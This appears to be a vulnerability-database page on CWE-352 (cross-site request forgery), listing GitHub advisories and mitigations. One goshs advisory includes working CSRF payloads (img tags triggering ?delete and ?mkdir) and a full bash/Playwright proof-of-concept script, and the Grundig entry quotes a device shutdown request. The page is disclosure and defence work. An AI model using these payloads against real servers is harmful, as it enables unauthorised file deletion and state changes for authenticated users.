CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14755 vulnerabilities reference this CWE, most recent first.
GHSA-JRP5-W8Q4-6M33
Vulnerability from github – Published: 2023-09-18 21:30 – Updated: 2024-03-21 03:35** UNSUPPPORTED WHEN ASSIGNED **
Thanks to the weaknesses that the web application has at the user management level, an attacker could obtain the information from the headers that is necessary to create specially designed URLs and originate malicious actions when a legitimate user is logged into the web application.
{
"affected": [],
"aliases": [
"CVE-2023-39446"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-18T21:15:56Z",
"severity": "HIGH"
},
"details": "** UNSUPPPORTED WHEN ASSIGNED ** \n\n\n\n\n\n\nThanks to the weaknesses that the web application has at the user management level, an attacker could obtain the information from the headers that is necessary to create specially designed URLs and originate malicious actions when a legitimate user is logged into the web application.\n\n\n\n\n\n\n\n",
"id": "GHSA-jrp5-w8q4-6m33",
"modified": "2024-03-21T03:35:47Z",
"published": "2023-09-18T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39446"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-250-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JRPQ-3JHP-H3PC
Vulnerability from github – Published: 2022-05-14 03:00 – Updated: 2022-05-14 03:00Grundig Smart Inter@ctive TV 3.0 devices allow CSRF attacks via a POST request to TCP port 8085 containing a predictable ID value, as demonstrated by a /sendrcpackage?keyid=-2544&keysymbol=-4081 request to shut off the device.
{
"affected": [],
"aliases": [
"CVE-2018-13989"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-11T16:29:00Z",
"severity": "HIGH"
},
"details": "Grundig Smart Inter@ctive TV 3.0 devices allow CSRF attacks via a POST request to TCP port 8085 containing a predictable ID value, as demonstrated by a /sendrcpackage?keyid=-2544\u0026keysymbol=-4081 request to shut off the device.",
"id": "GHSA-jrpq-3jhp-h3pc",
"modified": "2022-05-14T03:00:55Z",
"published": "2022-05-14T03:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13989"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/148453/Grundig-Smart-Inter-ctive-3.0-Insecure-Direct-Object-Reference.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45022"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=H7WYTkgtwsY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JRQ5-HG6X-J6G3
Vulnerability from github – Published: 2026-04-14 22:28 – Updated: 2026-04-27 16:46Summary
goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.
Details
The vulnerable request handling is reachable through normal GET requests:
httpserver/handler.go:118-123dispatches?mkdirdirectly tohandleMkdir()httpserver/handler.go:180-186dispatches?deletedirectly todeleteFile()
Authentication is enforced only by HTTP basic auth:
httpserver/middleware.go:20-87accepts any request that presents valid cached or replayed basic-auth credentials
The resulting state changes hit filesystem mutation sinks:
httpserver/handler.go:683-718callsos.RemoveAll()indeleteFile()httpserver/handler.go:961-1000callsos.MkdirAll()inhandleMkdir()
Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:
<img src="http://127.0.0.1:18095/victim.txt?delete"><img src="http://127.0.0.1:18095/csrfmade?mkdir">
If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.
PoC
Manual verification commands used:
Terminal 1
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt
cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/victim.txt?delete">
</body>
</html>
HTML
cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/csrfmade?mkdir">
</body>
</html>
HTML
/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'
Terminal 2
python3 -m http.server 18889 --directory /tmp/goshs_csrf_site
Victim actions:
- Open
http://127.0.0.1:18095/in a browser and authenticate withu:p. - Visit
http://127.0.0.1:18889/delete.html. - Visit
http://127.0.0.1:18889/mkdir.html.
Two terminal commands I ran during local validation:
test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING
Expected result:
- the first check prints
DELETED - the second check prints
CREATED
PoC Video 1:
https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473
Single-script verification:
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'
Observed script result:
Delete status: DELETEDmkdir status: CREATED[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET
PoC Video 2:
https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede
gosh_poc3 script content:
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""
cleanup() {
if [[ -n "${ATTACKER_PID:-}" ]]; then
kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
fi
if [[ -n "${GOSHS_PID:-}" ]]; then
kill "${GOSHS_PID}" >/dev/null 2>&1 || true
fi
}
trap cleanup EXIT
mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"
cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/victim.txt?delete">
</body>
</html>
HTML
cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
</body>
</html>
HTML
echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)
echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!
for _ in $(seq 1 40); do
if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
break
fi
sleep 0.25
done
echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!
if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
mkdir -p "$PLAY_DIR"
(cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi
if [[ ! -x "$CHROME" ]]; then
echo "[ERROR] Chrome not found at $CHROME" >&2
exit 1
fi
echo "[4/6] Visiting attacker pages from an authenticated browser"
node - <<'NODE'
const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');
(async () => {
const browser = await chromium.launch({
headless: true,
executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
});
const context = await browser.newContext({
httpCredentials: { username: 'u', password: 'p' },
});
const page = await context.newPage();
await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });
await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });
await page.waitForTimeout(1200);
await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });
await page.waitForTimeout(1200);
await browser.close();
})();
NODE
echo "[5/6] Verifying impact"
DELETE_STATUS="MISSING"
MKDIR_STATUS="MISSING"
if [[ ! -e "$ROOT/victim.txt" ]]; then
DELETE_STATUS="DELETED"
fi
if [[ -d "$ROOT/csrfmade" ]]; then
MKDIR_STATUS="CREATED"
fi
echo "[6/6] Results"
echo "Delete status: $DELETE_STATUS"
echo "mkdir status: $MKDIR_STATUS"
if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then
echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'
else
echo '[RESULT] NOT REPRODUCED'
exit 1
fi
Impact
This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.
Remediation
Suggested fixes:
- Move all state-changing functionality such as
deleteandmkdiroff GET routes and require non-idempotent methods such asPOSTorDELETE. - Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict
OriginandReferervalidation. - Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.0-beta.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-beta.4"
},
{
"fixed": "2.0.0-beta.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40883"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:28:44Z",
"nvd_published_at": "2026-04-21T20:17:01Z",
"severity": "MODERATE"
},
"details": "### Summary\ngoshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`.\n\n### Details\nThe vulnerable request handling is reachable through normal GET requests:\n\n- `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()`\n\nAuthentication is enforced only by HTTP basic auth:\n\n- `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials\n\nThe resulting state changes hit filesystem mutation sinks:\n\n- `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()`\n- `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()`\n\nBecause browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:\n\n- `\u003cimg src=\"http://127.0.0.1:18095/victim.txt?delete\"\u003e`\n- `\u003cimg src=\"http://127.0.0.1:18095/csrfmade?mkdir\"\u003e`\n\nIf the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.\n\n### PoC\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nmkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nprintf \u0027delete me\\n\u0027 \u003e /tmp/goshs_csrf_root/victim.txt\n\ncat \u003e /tmp/goshs_csrf_site/delete.html \u003c\u003c\u0027HTML\u0027\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cimg src=\"http://127.0.0.1:18095/victim.txt?delete\"\u003e\n \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\ncat \u003e /tmp/goshs_csrf_site/mkdir.html \u003c\u003c\u0027HTML\u0027\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cimg src=\"http://127.0.0.1:18095/csrfmade?mkdir\"\u003e\n \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\n/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b \u0027u:p\u0027\n```\n\n`Terminal 2`\n\n```bash\npython3 -m http.server 18889 --directory /tmp/goshs_csrf_site\n```\n\nVictim actions:\n\n1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`.\n2. Visit `http://127.0.0.1:18889/delete.html`.\n3. Visit `http://127.0.0.1:18889/mkdir.html`.\n\nTwo terminal commands I ran during local validation:\n\n```bash\ntest -e /tmp/goshs_csrf_root/victim.txt \u0026\u0026 echo EXISTS || echo DELETED\ntest -d /tmp/goshs_csrf_root/csrfmade \u0026\u0026 echo CREATED || echo MISSING\n```\n\nExpected result:\n\n- the first check prints `DELETED`\n- the second check prints `CREATED`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473\n\n\n\nSingle-script verification:\n\n```bash\n\u0027/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3\u0027\n```\n\nObserved script result:\n\n- `Delete status: DELETED`\n- `mkdir status: CREATED`\n- `[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET`\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede\n\n\n\n`gosh_poc3` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO=\u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\nPLAY_DIR=\u0027/tmp/codex-playwright\u0027\nBIN=\u0027/tmp/goshs_beta5_csrf\u0027\nPORT=\u002718095\u0027\nATTACKER_PORT=\u002718889\u0027\nCHROME=\u0027/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\u0027\nWORKDIR=\"$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)\"\nROOT=\"$WORKDIR/root\"\nSITE=\"$WORKDIR/site\"\nGOSHS_PID=\"\"\nATTACKER_PID=\"\"\n\ncleanup() {\n if [[ -n \"${ATTACKER_PID:-}\" ]]; then\n kill \"${ATTACKER_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n fi\n if [[ -n \"${GOSHS_PID:-}\" ]]; then\n kill \"${GOSHS_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n fi\n}\ntrap cleanup EXIT\n\nmkdir -p \"$ROOT\" \"$SITE\"\nprintf \u0027delete me\\n\u0027 \u003e \"$ROOT/victim.txt\"\n\ncat \u003e \"$SITE/delete.html\" \u003c\u003cHTML\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cimg src=\"http://127.0.0.1:${PORT}/victim.txt?delete\"\u003e\n \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\ncat \u003e \"$SITE/mkdir.html\" \u003c\u003cHTML\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cimg src=\"http://127.0.0.1:${PORT}/csrfmade?mkdir\"\u003e\n \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\necho \"[1/6] Building goshs beta.5\"\n(cd \"$REPO\" \u0026\u0026 go build -o \"$BIN\" ./)\n\necho \"[2/6] Starting goshs with HTTP basic auth\"\n\"$BIN\" -d \"$ROOT\" -p \"$PORT\" -b \u0027u:p\u0027 \u003e\"$WORKDIR/goshs.log\" 2\u003e\u00261 \u0026\nGOSHS_PID=$!\n\nfor _ in $(seq 1 40); do\n if curl -s -u u:p \"http://127.0.0.1:${PORT}/\" \u003e/dev/null 2\u003e\u00261; then\n break\n fi\n sleep 0.25\ndone\n\necho \"[3/6] Serving attacker pages\"\npython3 -m http.server \"$ATTACKER_PORT\" --directory \"$SITE\" \u003e\"$WORKDIR/attacker.log\" 2\u003e\u00261 \u0026\nATTACKER_PID=$!\n\nif [[ ! -d \"$PLAY_DIR/node_modules/playwright-core\" ]]; then\n mkdir -p \"$PLAY_DIR\"\n (cd \"$PLAY_DIR\" \u0026\u0026 npm install --no-save playwright-core \u003e/dev/null)\nfi\n\nif [[ ! -x \"$CHROME\" ]]; then\n echo \"[ERROR] Chrome not found at $CHROME\" \u003e\u00262\n exit 1\nfi\n\necho \"[4/6] Visiting attacker pages from an authenticated browser\"\nnode - \u003c\u003c\u0027NODE\u0027\nconst { chromium } = require(\u0027/tmp/codex-playwright/node_modules/playwright-core\u0027);\n\n(async () =\u003e {\n const browser = await chromium.launch({\n headless: true,\n executablePath: \u0027/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\u0027,\n });\n const context = await browser.newContext({\n httpCredentials: { username: \u0027u\u0027, password: \u0027p\u0027 },\n });\n const page = await context.newPage();\n await page.goto(\u0027http://127.0.0.1:18095/\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n await page.goto(\u0027http://127.0.0.1:18889/delete.html\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n await page.waitForTimeout(1200);\n await page.goto(\u0027http://127.0.0.1:18889/mkdir.html\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n await page.waitForTimeout(1200);\n await browser.close();\n})();\nNODE\n\necho \"[5/6] Verifying impact\"\nDELETE_STATUS=\"MISSING\"\nMKDIR_STATUS=\"MISSING\"\nif [[ ! -e \"$ROOT/victim.txt\" ]]; then\n DELETE_STATUS=\"DELETED\"\nfi\nif [[ -d \"$ROOT/csrfmade\" ]]; then\n MKDIR_STATUS=\"CREATED\"\nfi\n\necho \"[6/6] Results\"\necho \"Delete status: $DELETE_STATUS\"\necho \"mkdir status: $MKDIR_STATUS\"\n\nif [[ \"$DELETE_STATUS\" == \"DELETED\" \u0026\u0026 \"$MKDIR_STATUS\" == \"CREATED\" ]]; then\n echo \u0027[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET\u0027\nelse\n echo \u0027[RESULT] NOT REPRODUCED\u0027\n exit 1\nfi\n```\n\n### Impact\nThis issue lets an external attacker abuse an authenticated victim\u0027s browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.\n\n### Remediation\nSuggested fixes:\n\n1. Move all state-changing functionality such as `delete` and `mkdir` off GET routes and require non-idempotent methods such as `POST` or `DELETE`.\n2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict `Origin` and `Referer` validation.\n3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.",
"id": "GHSA-jrq5-hg6x-j6g3",
"modified": "2026-04-27T16:46:57Z",
"published": "2026-04-14T22:28:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jrq5-hg6x-j6g3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40883"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation"
}
GHSA-JRRF-CWX7-W6GP
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54Agentejo Cockpit lacks an anti-CSRF protection mechanism. Thus, an attacker is able to change API tokens, passwords, etc.
{
"affected": [],
"aliases": [
"CVE-2018-15539"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-15T19:29:00Z",
"severity": "HIGH"
},
"details": "Agentejo Cockpit lacks an anti-CSRF protection mechanism. Thus, an attacker is able to change API tokens, passwords, etc.",
"id": "GHSA-jrrf-cwx7-w6gp",
"modified": "2022-05-14T01:54:36Z",
"published": "2022-05-14T01:54:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15539"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Oct/30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JRRJ-28WQ-8V79
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in Clearbit Clearbit Reveal allows Cross Site Request Forgery. This issue affects Clearbit Reveal: from n/a through 1.0.6.
{
"affected": [],
"aliases": [
"CVE-2025-31785"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:16Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Clearbit Clearbit Reveal allows Cross Site Request Forgery. This issue affects Clearbit Reveal: from n/a through 1.0.6.",
"id": "GHSA-jrrj-28wq-8v79",
"modified": "2026-04-01T18:34:20Z",
"published": "2025-04-01T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31785"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/clearbit/vulnerability/wordpress-clearbit-reveal-plugin-1-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JRRV-7QXG-9QWH
Vulnerability from github – Published: 2024-10-31 12:30 – Updated: 2026-04-01 18:32Cross-Site Request Forgery (CSRF) vulnerability in Smash Balloon Custom Twitter Feeds (Tweets Widget) allows Cross Site Request Forgery.This issue affects Custom Twitter Feeds (Tweets Widget): from n/a through 2.2.3.
{
"affected": [],
"aliases": [
"CVE-2024-49685"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-31T10:15:05Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Smash Balloon Custom Twitter Feeds (Tweets Widget) allows Cross Site Request Forgery.This issue affects Custom Twitter Feeds (Tweets Widget): from n/a through 2.2.3.",
"id": "GHSA-jrrv-7qxg-9qwh",
"modified": "2026-04-01T18:32:15Z",
"published": "2024-10-31T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49685"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/custom-twitter-feeds/vulnerability/wordpress-custom-twitter-feeds-plugin-2-2-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/custom-twitter-feeds/wordpress-custom-twitter-feeds-plugin-2-2-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JRV8-VFF8-5JVW
Vulnerability from github – Published: 2025-06-11 18:35 – Updated: 2025-06-11 18:35A Cross-Site Request Forgery (CSRF) vulnerability exists in the product image upload function of VirtueMart that bypasses the CSRF protection token. An attacker is able to craft a special CSRF request which will allow unrestricted file upload into the VirtueMart media manager.
{
"affected": [],
"aliases": [
"CVE-2025-6001"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-11T17:15:43Z",
"severity": "HIGH"
},
"details": "A Cross-Site Request Forgery (CSRF) vulnerability exists in the product image upload function of VirtueMart that bypasses the CSRF protection token. An attacker is able to craft a special CSRF request which will allow unrestricted file upload into the VirtueMart media manager.",
"id": "GHSA-jrv8-vff8-5jvw",
"modified": "2025-06-11T18:35:43Z",
"published": "2025-06-11T18:35:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6001"
},
{
"type": "WEB",
"url": "https://blog.blacklanternsecurity.com/p/doomla-zero-days"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JRW9-QMPM-PWVQ
Vulnerability from github – Published: 2024-12-02 15:31 – Updated: 2026-04-01 18:32Cross-Site Request Forgery (CSRF) vulnerability in Realty Candy RealtyCandy IDX Broker Extended allows Stored XSS.This issue affects RealtyCandy IDX Broker Extended: from n/a through 1.5.1.
{
"affected": [],
"aliases": [
"CVE-2024-53726"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-02T14:15:15Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Realty Candy RealtyCandy IDX Broker Extended allows Stored XSS.This issue affects RealtyCandy IDX Broker Extended: from n/a through 1.5.1.",
"id": "GHSA-jrw9-qmpm-pwvq",
"modified": "2026-04-01T18:32:39Z",
"published": "2024-12-02T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53726"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/realtycandy-idx-broker-extended/vulnerability/wordpress-realtycandy-idx-broker-extended-plugin-1-5-1-csrf-to-stored-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JRWJ-49VM-Q75Q
Vulnerability from github – Published: 2024-06-05 21:31 – Updated: 2024-06-27 15:30idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/idcProType_deal.php?mudi=add&nohrefStr=close
{
"affected": [],
"aliases": [
"CVE-2024-36667"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-05T19:15:15Z",
"severity": "HIGH"
},
"details": "idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/idcProType_deal.php?mudi=add\u0026nohrefStr=close",
"id": "GHSA-jrwj-49vm-q75q",
"modified": "2024-06-27T15:30:39Z",
"published": "2024-06-05T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36667"
},
{
"type": "WEB",
"url": "https://github.com/sigubbs/cms/blob/main/36/csrf.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JRWX-PQPC-96QX
Vulnerability from github – Published: 2025-03-24 15:30 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in captcha.soft Image Captcha allows Cross Site Request Forgery. This issue affects Image Captcha: from n/a through 1.2.
{
"affected": [],
"aliases": [
"CVE-2025-30534"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-24T14:15:22Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in captcha.soft Image Captcha allows Cross Site Request Forgery. This issue affects Image Captcha: from n/a through 1.2.",
"id": "GHSA-jrwx-pqpc-96qx",
"modified": "2026-04-01T18:33:59Z",
"published": "2025-03-24T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30534"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/image-captcha/vulnerability/wordpress-image-captcha-plugin-1-2-cross-site-request-forgery-csrf-to-settings-change-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
